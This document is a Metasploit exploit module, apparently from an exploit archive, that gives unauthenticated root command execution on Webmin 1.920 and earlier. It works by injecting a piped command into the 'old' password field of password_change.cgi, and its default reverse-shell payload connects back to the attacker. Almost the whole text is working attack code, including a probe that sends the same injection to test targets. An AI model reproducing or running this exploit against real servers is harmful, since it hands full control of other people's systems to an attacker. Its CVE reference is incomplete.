Webmin 1.920 Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Webmin 1.920 Unauthenticated RCE',  
'Description' => %q(  
This module exploits an arbitrary command execution vulnerability in Webmin  
1.920 and prior versions. If the password change module is turned on, the unathenticated user  
can execute arbitrary commands with root privileges.  
  
/////// This 0day has been published at DEFCON-AppSec Village. ///////   
  
),  
'Author' => [  
'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2019-'],  
['URL', 'https://www.pentest.com.tr']  
],  
'Privileged' => true,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 512,  
'Compat' =>  
{  
'PayloadType' => 'cmd'  
}  
},  
'DefaultOptions' =>  
{  
'RPORT' => 10000,  
'SSL' => false,  
'PAYLOAD' => 'cmd/unix/reverse_python'  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' => [['Webmin <= 1.910', {}]],  
'DisclosureDate' => 'May 16 2019',  
'DefaultTarget' => 0)  
)  
register_options [  
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])  
]  
end  
  
def peer  
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"  
end  
##  
# Target and input verification  
##  
def check  
# check passwd change priv  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "password_change.cgi"),  
'headers' =>  
{  
'Referer' => "#{peer}/session_login.cgi"  
},  
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1"  
})  
  
if res && res.code == 200 && res.body =~ /Failed/  
res = send_request_cgi(  
{  
'method' => 'POST',  
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",  
'ctype' => 'application/x-www-form-urlencoded',  
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),  
'headers' =>  
{  
'Referer' => "#{peer}/session_login.cgi"  
},  
'data' => "user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss"   
})  
  
if res && res.code == 200 && res.body =~ /password_change.cgi/  
return CheckCode::Vulnerable  
else  
return CheckCode::Safe  
end  
else  
return CheckCode::Safe  
end  
end  
  
##  
# Exploiting phase  
##  
def exploit  
  
unless Exploit::CheckCode::Vulnerable == check  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')  
end  
  
command = payload.encoded  
print_status("Attempting to execute the payload...")  
handler  
res = send_request_cgi(  
{  
'method' => 'POST',  
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",  
'ctype' => 'application/x-www-form-urlencoded',  
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),  
'headers' =>  
{  
'Referer' => "#{peer}/session_login.cgi"  
},  
'data' => "user=root&pam=&expired=2&old=AkkuS%7c#{command}%20&new1=akkuss&new2=akkuss"  
})  
  
end  
end  
`